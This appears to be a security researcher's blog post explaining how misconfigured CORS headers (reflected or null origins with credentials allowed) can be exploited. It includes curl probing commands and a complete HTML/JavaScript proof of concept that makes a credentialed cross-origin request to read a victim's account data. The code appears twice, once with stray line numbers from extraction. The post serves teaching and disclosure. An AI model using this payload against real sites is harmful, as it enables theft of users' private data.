Exploiting Misconfigured CORS
Exploiting Misconfigured CORS
Hello Friends!
few days before noticed a blog post for exploiting facebook chat and reading all the chats of
users so that made me to interested to know about the issues, and basically it was misconfigured
CORS configuration where null origin is allowed with credentials true, it was not something
heard for the 1st time, @albinowax from the portswigger explained it very well in his blog post,
so after reading that messenger blog post i went to test for the same issue for some targets where
i allowed to test it.
but before that here are some tips about CORS where it can be exploitable from attackers point
of view:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
or just
Access-Control-Allow-Origin: *
even this is not good from development point of view but due to own rules of CORS if Access-
Control-Allow-Origin set to * we don’t get benefit Access-Control-Allow-Credentials: true
means no cookie access of the victim.
am not going to more deep about CORS, as earlier blog post covered it very well.
so in above i mentioned 3 cases where first two cases is exploitable in that eg of 2nd case is that
Facebook Messenger chat issue which i mentioned in earlier section of the post, and eg of 1st
case is mine which i found 2 days before only where any arbitrary Origin is allowed and
same Origin get reflected back to Access-Control-Allow-Origin with Credentials set to True,
the best way i found to check for CORS issue is using CURL.
OR if your burp pro user, Burp Active Scan may find this for you, but in mine case it didnt, idk
the reason, when i CURLed my target manully curl https://my.target.com -H "Origin:
https://geekboy.ninja" -I , the Origin didnt got reflected but when i curled specifc endpoint
where all users data getting back into response curl https://my.target.com/api/web/user
-H "Origin: https://geekboy.ninja" -I it reflected back with my host with Credentials
set to True and that’s enough to make this work and steal all that data.
<!DOCTYPE html>
<html>
<body>
<center>
1
2
<!DOCTYPE html>
3
<html>
4
<body>
5
<center>
6
<h2>CORS POC Exploit</h2>
7
<h3>Extract SID</h3>
8
<div id="demo">
9
<button type="button" onclick="cors()">Exploit</button>
10
</div>
11
<script>
12
function cors() {
13
var xhttp = new XMLHttpRequest();
14
xhttp.onreadystatechange = function() {
15
if (this.readyState == 4 && this.status == 200) {
16
document.getElementById("demo").innerHTML = alert(this.responseText);
17
}
18
};
19
xhttp.open("GET", "https://target.com/info/", true);
20
xhttp.withCredentials = true;
21
xhttp.send();
22
}
23
</script>
24
</body>
25
</html>
26
27
http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS
https://ejj.io/misconfigured-cors/
Ref: https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/